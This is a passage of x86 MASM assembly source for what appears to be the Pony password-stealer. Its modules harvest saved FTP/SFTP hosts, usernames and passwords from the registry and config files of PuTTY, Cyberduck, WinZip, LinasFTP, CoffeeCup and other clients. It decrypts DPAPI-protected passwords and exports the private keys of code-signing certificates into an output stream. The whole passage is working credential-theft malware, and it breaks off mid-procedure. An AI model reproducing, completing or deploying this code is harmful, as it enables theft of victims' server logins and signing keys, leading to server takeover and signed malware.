m2m nCount, dword ptr[eax] .IF nCount > 500 mov nCount, 500 .ENDIF .WHILE nCount invoke wsprintf, addr FileFormatBuffer, offset CRoboFTPFileFmt, nCount invoke RegReadValueStr, reg_key, offset CRoboFTPScriptRegPath, addr FileFormatBuffer, NULL .IF eax push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree .ENDIF dec nCount .ENDW .ENDIF call MemFree .ENDIF ret GrabRoboFiles endp GrabRoboFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ROBOFTP, 0 mov hdr_ofs, eax invoke RoboFTPScanReg, stream, dwCurrentUserKey, offset CRoboFTPConfigRegPath invoke RoboFTPScanReg, stream, HKEY_LOCAL_MACHINE, offset CRoboFTPConfigRegPath invoke GrabRoboFiles, stream, dwCurrentUserKey invoke GrabRoboFiles, stream, HKEY_LOCAL_MACHINE invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabRoboFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Certificate Grabber IFDEF COMPILE_MODULE_CERT .data CMyCert db 'MY', 0 CCertObjId db '2.5.29.37', 0 CCertSignUsage db 030h, 00Ah, 006h, 008h, 002Bh, 006h, 001h, 005h, 005h, 007h, 003h, 003h, 0 CRYPT_BIT_BLOB struct cbData dd ? pbData dd ? cUnusedBits dd ? CRYPT_BIT_BLOB ends CRYPT_BLOB struct cbData dd ? pbData dd ? CRYPT_BLOB ends CRYPT_ALGORITHM_IDENTIFIER struct pszObjId dd ? Parameters DATA_BLOB <> CRYPT_ALGORITHM_IDENTIFIER ends CERT_PUBLIC_KEY_INFO struct Algorithm CRYPT_ALGORITHM_IDENTIFIER <> PublicKey CRYPT_BIT_BLOB <> CERT_PUBLIC_KEY_INFO ends CERT_CONTEXT struct dwCertEncodingType dd ? pbCertEncoded dd ? cbCertEncoded dd ? pCertInfo dd ? hCertStore dd ? CERT_CONTEXT ends CERT_EXTENSION struct pszObjId dd ? fCritical dd ? Value CRYPT_BLOB <> CERT_EXTENSION ends CERT_INFO struct dwVersion dd ? SerialNumber CRYPT_BLOB <> SignatureAlgorithm CRYPT_ALGORITHM_IDENTIFIER <> Issuer CRYPT_BLOB <> NotBefore FILETIME <> NotAfter FILETIME <> Subject CRYPT_BLOB <> SubjectPublicKeyInfo CERT_PUBLIC_KEY_INFO <> IssuerUniqueId CRYPT_BIT_BLOB <> SubjectUniqueId CRYPT_BIT_BLOB <> cExtension dd ? rgExtension dd ? CERT_INFO ends .code GrabCert proc uses esi edi stream LOCAL hdr_ofs: DWORD LOCAL hStore: DWORD LOCAL nExtensions: DWORD LOCAL ExtensionStr: DWORD LOCAL hProv: DWORD LOCAL dwKeySpec: DWORD LOCAL hUserKey: DWORD LOCAL dwBlobLen: DWORD LOCAL Blob: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CERT, 0 mov hdr_ofs, eax .IF MyCertOpenSystemStore && MyCertEnumCertificatesInStore && MyCryptAcquireCertificatePrivateKey && MyCryptGetUserKey && MyCryptExportKey && MyCryptDestroyKey && MyCryptReleaseContext && MyCertCloseStore push offset CMyCert push 0 call MyCertOpenSystemStore mov hStore, eax .IF hStore != NULL sub esi, esi .WHILE TRUE push esi push hStore call MyCertEnumCertificatesInStore mov esi, eax .IF !esi .BREAK .ENDIF mov edx, dword ptr[esi].CERT_CONTEXT.pCertInfo mov ecx, [edx].CERT_INFO.cExtension mov edi, [edx].CERT_INFO.rgExtension mov nExtensions, ecx .IF edi .WHILE nExtensions invoke lstrcmp, [edi].CERT_EXTENSION.pszObjId, offset CCertObjId .IF !eax && [edi].CERT_EXTENSION.Value.cbData invoke MemAlloc, [edi].CERT_EXTENSION.Value.cbData mov ExtensionStr, eax invoke MoveMem, [edi].CERT_EXTENSION.Value.pbData, ExtensionStr, [edi].CERT_EXTENSION.Value.cbData invoke lstrcmp, ExtensionStr, offset CCertSignUsage .IF !eax push NULL lea eax, dwKeySpec push eax lea eax, hProv push eax push NULL push 0 push esi call MyCryptAcquireCertificatePrivateKey .IF eax lea eax, hUserKey push eax push dwKeySpec push hProv call MyCryptGetUserKey .IF eax lea eax, dwBlobLen push eax push NULL push 0 push PRIVATEKEYBLOB push 0 push hUserKey call MyCryptExportKey .IF eax invoke MemAlloc, dwBlobLen mov Blob, eax lea eax, dwBlobLen push eax push Blob push 0 push PRIVATEKEYBLOB push 0 push hUserKey call MyCryptExportKey .IF eax invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteBinaryString, stream, dword ptr[esi].CERT_CONTEXT.pbCertEncoded, dword ptr[esi].CERT_CONTEXT.cbCertEncoded invoke StreamWriteBinaryString, stream, Blob, dwBlobLen .ENDIF invoke MemFree, Blob .ENDIF push hUserKey call MyCryptDestroyKey .ENDIF push 0 push hProv call MyCryptReleaseContext .ENDIF .ENDIF invoke MemFree, ExtensionStr .ENDIF add edi, sizeof CERT_EXTENSION dec nExtensions .ENDW .ENDIF .ENDW push 0 push hStore call MyCertCloseStore .ENDIF .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCert endp ENDIF IFDEF COMPILE_MODULE_LINASFTP ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; LinasFTP ; Tested: v0.43 beta ; SFTP: not supported .data CLinasFTPRegPath db 'Software\LinasFTP\Site Manager',0 CLinasFTPHostValue db 'Host',0 CLinasFTPUserValue db 'User',0 CLinasFTPPassValue db 'Pass',0 CLinasFTPPortValue db 'Port',0 CLinasFTPDirValue db 'Remote Dir',0 .code LinasFTPScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL Dir: DWORD LOCAL S: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CLinasFTPHostValue, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CLinasFTPUserValue, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CLinasFTPPassValue, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CLinasFTPPortValue, NULL mov Port, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CLinasFTPDirValue, NULL mov Dir, eax .IF User ; export data, type = 0000: Host | User | Pass | Port | Dir invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteString, stream, Port invoke StreamWriteString, stream, Dir .ENDIF ; recursively scan subfolders invoke LinasFTPScanReg, stream, S invoke MemFree, S invoke MemFree, Host invoke MemFree, User invoke MemFree, Password invoke MemFree, Port invoke MemFree, Dir inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret LinasFTPScanReg endp GrabLinasFTP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LINASFTP, 0 mov hdr_ofs, eax invoke LinasFTPScanReg, stream, offset CLinasFTPRegPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLinasFTP endp ENDIF IFDEF COMPILE_MODULE_CYBERDUCK ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Cyberduck ; http://cyberduck.ch/ ; Tested: v4.1.3 (9045) ; Tested: v4.2.1 (9350) ; SFTP: implemented .data CCyberduckAppDataDir db '\Cyberduck',0 CCyberduckDuckFile db '.duck',0 CCyberduckConfigFile db 'user.config',0 CCyberduckXmlNameStart db '<setting name="',0 CCyberduckXmlEnd db '"',0 CCyberduckXmlPassStart db 'value="',0 .code CyberduckDecryptPass proc stream, url, pass LOCAL decoded_pass: DWORD LOCAL pass_len: DWORD LOCAL decoded_len: DWORD invoke lstrlen, url .IF !eax ret .ENDIF invoke lstrlen, pass .IF !eax ret .ENDIF mov pass_len, eax invoke MemAlloc, pass_len mov decoded_pass, eax invoke Base64Decode, pass, pass_len, decoded_pass .IF eax mov decoded_len, eax invoke CommonCryptUnprotectData, decoded_pass, addr decoded_len, NULL .IF eax ; Export crypted-decrypted password pair invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1000h invoke StreamWriteString, stream, url invoke StreamWriteBinaryString, stream, decoded_pass, decoded_len .ENDIF .ENDIF invoke MemFree, decoded_pass ret CyberduckDecryptPass endp CyberduckProcessConfigFile proc uses esi stream, FilePath, item_id LOCAL map: MappedFile LOCAL xml_str: DWORD LOCAL xml_name_start: DWORD LOCAL xml_name_end: DWORD LOCAL xml_name_end_char: BYTE LOCAL xml_pass_start: DWORD LOCAL xml_pass_end: DWORD LOCAL xml_pass_end_char: BYTE invoke FileExists, FilePath .IF !eax ret .ENDIF invoke MapFile, FilePath, addr map .IF eax invoke MemAlloc, map.dwFileSize mov xml_str, eax invoke MoveMem, map.lpMem, xml_str, map.dwFileSize mov esi, xml_str .WHILE byte ptr[esi] ; Find name value invoke StrStr, esi, offset CCyberduckXmlNameStart .IF !eax .BREAK .ENDIF mov esi, eax invoke lstrlen, offset CCyberduckXmlNameStart add esi, eax mov xml_name_start, esi invoke StrStr, esi, offset CCyberduckXmlEnd .IF !eax .BREAK .ENDIF mov dl, byte ptr[eax] mov xml_name_end_char, dl mov xml_name_end, eax ; Find password value invoke StrStr, esi, offset CCyberduckXmlPassStart .IF !eax .BREAK .ENDIF mov esi, eax invoke lstrlen, offset CCyberduckXmlPassStart add esi, eax mov xml_pass_start, esi invoke StrStr, esi, offset CCyberduckXmlEnd .IF !eax .BREAK .ENDIF mov dl, byte ptr[eax] mov xml_pass_end_char, dl mov xml_pass_end, eax ; Cut required strings mov eax, xml_name_end mov byte ptr[eax], 0 mov eax, xml_pass_end mov byte ptr[eax], 0 ; Decrypt & write password to output stream invoke CyberduckDecryptPass, stream, xml_name_start, xml_pass_start ; Recover ovewritten data mov dl, xml_name_end_char mov eax, xml_name_end mov byte ptr[eax], dl mov dl, xml_pass_end_char mov eax, xml_pass_end mov byte ptr[eax], dl .ENDW invoke MemFree, xml_str invoke UnmapFile, addr map .ELSE .ENDIF ret CyberduckProcessConfigFile endp FindCyberduckConfigs proc stream, appdata_csidl invoke SHGetFolderPathStr, appdata_csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CCyberduckAppDataDir push eax invoke CommonFileScanCallback, stream, eax, offset CCyberduckConfigFile, ITEMHDR_ID or 0, offset CyberduckProcessConfigFile call MemFree .ENDIF ret FindCyberduckConfigs endp GrabCyberduck proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CYBERDUCK, 0 mov hdr_ofs, eax invoke FindCyberduckConfigs, stream, CSIDL_APPDATA invoke FindCyberduckConfigs, stream, CSIDL_COMMON_APPDATA invoke FindCyberduckConfigs, stream, CSIDL_LOCAL_APPDATA invoke AppDataCommonFileScan, stream, offset CCyberduckAppDataDir, offset CCyberduckDuckFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCyberduck endp ENDIF IFDEF COMPILE_MODULE_PUTTY ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Putty (Russian version) ; http://putty.org.ru/ ; Tested: 0.61-RU-8 ; SFTP: implemented .data CPuttyBaseRegPath db 'Software\SimonTatham\PuTTY\Sessions',0 CPuttyHostName db 'HostName',0 CPuttyUserName db 'UserName',0 CPuttyPassword db 'Password',0 CPuttyPort db 'PortNumber',0 CPuttyTermType db 'TerminalType',0 .code PuttyGrabPassword proc reg_key, BasePath, stream LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL TermType: DWORD LOCAL dwPortLen: DWORD LOCAL S: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, reg_key, S, addr CPuttyHostName, NULL mov Host, eax invoke RegReadValueStr, reg_key, S, addr CPuttyUserName, NULL mov User, eax invoke RegReadValueStr, reg_key, S, addr CPuttyPassword, NULL mov Password, eax invoke RegReadValueStr, reg_key, S, addr CPuttyPort, addr dwPortLen mov Port, eax invoke RegReadValueStr, reg_key, S, addr CPuttyTermType, NULL mov TermType, eax .IF Host && User && Password ; export data, type = 0000: Host | User | Pass | Port | TermType invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteBinaryString, stream, Port, dwPortLen invoke StreamWriteString, stream, TermType .ENDIF ; recursively scan subfolders invoke PuttyGrabPassword, reg_key, S, stream invoke MemFree, S invoke MemFree, Host invoke MemFree, User invoke MemFree, Password invoke MemFree, Port invoke MemFree, TermType inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret PuttyGrabPassword endp GrabPutty proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PUTTY, 0 mov hdr_ofs, eax invoke PuttyGrabPassword, dwCurrentUserKey, offset CPuttyBaseRegPath, stream invoke PuttyGrabPassword, HKEY_LOCAL_MACHINE, offset CPuttyBaseRegPath, stream invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPutty endp ENDIF IFDEF COMPILE_MODULE_NOTEPADPP ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Notepad++ (NppFTP plugin) ; http://notepad-plus-plus.org/ ; Tested: 0.24.1 ; SFTP: implemented .data CNotepadFTPXmlFile db 'NppFTP.xml',0 CNotepadAppDataDir db '\Notepad++',0 .code GrabNotepadPP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NOTEPADPP, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNotepadAppDataDir, offset CNotepadFTPXmlFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNotepadPP endp ENDIF IFDEF COMPILE_MODULE_VS_DESIGNER ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CoffeeCup Visual Site Designer ; http://www.coffeecup.com/designer/ ; Tested: 7.0, Build 24 ; SFTP: not supported .data CVSDesignerRegPath db 'Software\CoffeeCup Software',0 CVSDesignerHostName db 'FTP destination server',0 CVSDesignerUserName db 'FTP destination user',0 CVSDesignerPassword db 'FTP destination password',0 CVSDesignerPort db 'FTP destination port',0 CVSDesignerDir db 'FTP destination catalog',0 CVSDesignerProfiles db 'FTP profiles',0 .code VSDesignerScanReg proc reg_key, BasePath, stream LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL Dir: DWORD LOCAL dwPortLen: DWORD LOCAL S: DWORD LOCAL Profiles: DWORD LOCAL dwProfilesLen: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, reg_key, S, addr CVSDesignerHostName, NULL mov Host, eax invoke RegReadValueStr, reg_key, S, addr CVSDesignerUserName, NULL mov User, eax invoke RegReadValueStr, reg_key, S, addr CVSDesignerPassword, NULL mov Password, eax invoke RegReadValueStr, reg_key, S, addr CVSDesignerPort, addr dwPortLen mov Port, eax invoke RegReadValueStr, reg_key, S, addr CVSDesignerDir, NULL mov Dir, eax invoke RegReadValueStr, reg_key, S, addr CVSDesignerProfiles, addr dwProfilesLen mov Profiles, eax .IF Host && User && Password ; export data, type = 0000: Host | User | Pass | Port | Dir invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password invoke StreamWriteBinaryString, stream, Port, dwPortLen invoke StreamWriteString, stream, Dir .ENDIF .IF dwProfilesLen ; export data, type = 0001: Profile binary data invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke StreamWriteBinaryString, stream, Profiles, dwProfilesLen .ENDIF ; recursively scan subfolders invoke VSDesignerScanReg, reg_key, S, stream invoke MemFree, S invoke MemFree, Host invoke MemFree, User invoke MemFree, Password invoke MemFree, Port invoke MemFree, Dir invoke MemFree, Profiles inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret VSDesignerScanReg endp GrabVSDesigner proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_VS_DESIGNER, 0 mov hdr_ofs, eax invoke VSDesignerScanReg, dwCurrentUserKey, offset CVSDesignerRegPath, stream invoke VSDesignerScanReg, HKEY_LOCAL_MACHINE, offset CVSDesignerRegPath, stream invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabVSDesigner endp ENDIF IFDEF COMPILE_MODULE_FTPSHELL ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTPShell ; http://www.ftpshell.com/ ; Tested: Version 5.24 ; SFTP: not supported .data CFTPShellInstName db 'FTPShell',0 CFTPShellConfigFile db 'ftpshell.fsi',0 .code GrabFTPShell proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPSHELL, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CFTPShellInstName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CFTPShellConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPShell endp ENDIF IFDEF COMPILE_MODULE_FTPINFO ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTPInfo ; http://www.ftpinfo.ru/ ; Tested: 2.0.0 beta 27 ; SFTP: not supported .data CFTPInfoRegPath db 'Software\MAS-Soft\FTPInfo\Setup',0 CFTPInfoRegDirValue db 'DataDir',0 CFTPInfoAppDataDir db '\FTPInfo',0 CFTPInfoConfigFile db 'ServerList.xml',0 .code GrabFTPInfo proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPINFO, 0 mov hdr_ofs, eax invoke RegReadValueStr, dwCurrentUserKey, offset CFTPInfoRegPath, offset CFTPInfoRegDirValue, NULL .IF eax push eax invoke CommonFileScan, stream, eax, offset CFTPInfoConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF invoke AppDataCommonFileScan, stream, offset CFTPInfoAppDataDir, offset CFTPInfoConfigFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPInfo endp ENDIF IFDEF COMPILE_MODULE_NEXUSFILE ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; NexusFile ; http://www.xiles.net/nexusfile/ ; Tested: 5.3.1.5460 (2011.06.05) ; SFTP: implemented .data CNexusFileInstName db 'NexusFile',0 CNexusFileConfigFile db 'ftpsite.ini',0 .code GrabNexusFile proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NEXUSFILE, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CNexusFileInstName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CNexusFileConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNexusFile endp ENDIF IFDEF COMPILE_MODULE_FS_BROWSER ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FastStone Browser ; http://www.faststone.org/ ; Tested: 1.3 ; SFTP: not supported .data CFSBrowserInstName db 'FastStone Browser',0 CFSBrowerConfigFile db 'FTPList.db',0 .code GrabFSBrowser proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FS_BROWSER, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CFSBrowserInstName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CFSBrowerConfigFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFSBrowser endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CoolNovo ; http://coolnovo.com/ ; Tested: 2.0.2.26 ; SFTP: not supported IFDEF COMPILE_MODULE_COOLNOVO .data CCoolNovoAppDataDir db '\MapleStudio\ChromePlus',0 .code GrabCoolNovo proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_COOLNOVO, 0 mov hdr_ofs, eax invoke ChromeCommonScan, stream, offset CCoolNovoAppDataDir invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCoolNovo endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WinZip (built-in FTP backup settings) ; http://winzip.com/ ; Tested: 16.0 Pro (9661) ; SFTP: not supported IFDEF COMPILE_MODULE_WINZIP .data CWinZipFTPRegPath db 'Software\Nico Mak Computing\WinZip\FTP',0 CWinZipJobRegPath db 'Software\Nico Mak Computing\WinZip\mru\jobs',0 CWinZipHostName db 'Site',0 CWinZipUserName db 'UserID',0 CWinZipPassword db 'xflags',0 CWinZipPort db 'Port',0 CWinZipDir db 'Folder',0 CWinZipJobExt db '.wjf',0 CWinZipPassStart db 'winex="',0 CWinZipPassEnd db '"/>',0 .code WinZipProcessWJFFile proc uses esi stream, szFileName LOCAL map: MappedFile LOCAL xml_str: DWORD LOCAL xml_pass_start: DWORD LOCAL pass_len: DWORD LOCAL pass: DWORD invoke FileExists, szFileName .IF !eax ret .ENDIF invoke MapFile, szFileName, addr map .IF eax invoke MemAlloc, map.dwFileSize mov xml_str, eax invoke MoveMem, map.lpMem, xml_str, map.dwFileSize mov esi, xml_str .WHILE byte ptr[esi] invoke StrStr, esi, offset CWinZipPassStart .IF !eax .BREAK .ENDIF mov esi, eax invoke lstrlen, offset CWinZipPassStart add esi, eax mov xml_pass_start, esi invoke StrStr, esi, offset CWinZipPassEnd .IF !eax .BREAK .ENDIF mov dl, byte ptr[eax] mov byte ptr[eax], 0 push eax push edx invoke lstrlen, xml_pass_start .IF eax mov pass_len, eax invoke lstrdup, xml_pass_start mov pass, eax invoke DecodeHexString, pass, pass_len .IF eax shr pass_len, 1 invoke CommonCryptUnprotectData, pass, addr pass_len, NULL .IF eax ; Write encrypted-decrypted password pair invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 invoke StreamWriteString, stream, xml_pass_start invoke StreamWriteBinaryString, stream, pass, pass_len .ENDIF .ENDIF invoke MemFree, pass .ENDIF pop edx pop eax mov byte ptr[eax], dl .ENDW ; Export wjf file invoke StreamWriteDWORD, stream, ITEMHDR_ID or 2 invoke StreamWriteBinaryString, stream, xml_str, map.dwFileSize invoke MemFree, xml_str invoke UnmapFile, addr map .ELSE .ENDIF ret WinZipProcessWJFFile endp WinZipGrabRegPassword proc reg_key, BasePath, stream LOCAL hkHandle: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL Dir: DWORD LOCAL dwPasswordLen: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax invoke RegReadValueStr, reg_key, BasePath, addr CWinZipHostName, NULL mov Host, eax invoke RegReadValueStr, reg_key, BasePath, addr CWinZipUserName, NULL mov User, eax invoke RegReadValueStr, reg_key, BasePath, addr CWinZipPassword, addr dwPasswordLen mov Password, eax invoke RegReadValueStr, reg_key, BasePath, addr CWinZipPort, NULL mov Port, eax invoke RegReadValueStr, reg_key, BasePath, addr CWinZipDir, NULL mov Dir, eax .IF Password && dwPasswordLen invoke DecodeHexString, Password, dwPasswordLen .IF eax shr dwPasswordLen, 1 invoke CommonCryptUnprotectData, Password, addr dwPasswordLen, NULL .IF eax && Host && User && Password ; export data, type = 0000: Host | User | Pass | Port | Folder invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteBinaryString, stream, Password, dwPasswordLen invoke StreamWriteString, stream, Port invoke StreamWriteString, stream, Dir .ENDIF .ENDIF .ENDIF invoke MemFree, Host invoke MemFree, User invoke MemFree, Password invoke MemFree, Port invoke MemFree, Dir invoke RegCloseKey, hkHandle .ENDIF ret WinZipGrabRegPassword endp WinZipGrabJobFiles proc reg_key, BasePath, stream LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL JobFile: DWORD LOCAL dwType: DWORD LOCAL dwLen: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumValue, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, addr dwType, NULL, NULL .IF eax .BREAK .ENDIF .IF (dwType != REG_SZ) inc KeyIndex .CONTINUE .ENDIF invoke RegReadValueStr, reg_key, BasePath, addr lpBuf, addr dwLen .IF eax mov JobFile, eax invoke StrStrI, JobFile, offset CWinZipJobExt .IF eax invoke WinZipProcessWJFFile, stream, JobFile .ENDIF invoke MemFree, JobFile .ENDIF inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret WinZipGrabJobFiles endp GrabWinZip proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WINZIP, 0 mov hdr_ofs, eax ; Passwords stored in registry invoke WinZipGrabRegPassword, dwCurrentUserKey, offset CWinZipFTPRegPath, stream invoke WinZipGrabRegPassword, HKEY_LOCAL_MACHINE, offset CWinZipFTPRegPath, stream ; Passwords stored in job files invoke WinZipGrabJobFiles, dwCurrentUserKey, offset CWinZipJobRegPath, stream invoke WinZipGrabJobFiles, HKEY_LOCAL_MACHINE, offset CWinZipJobRegPath, stream invoke StreamUpdateModuleLen, stream, hdr_ofs 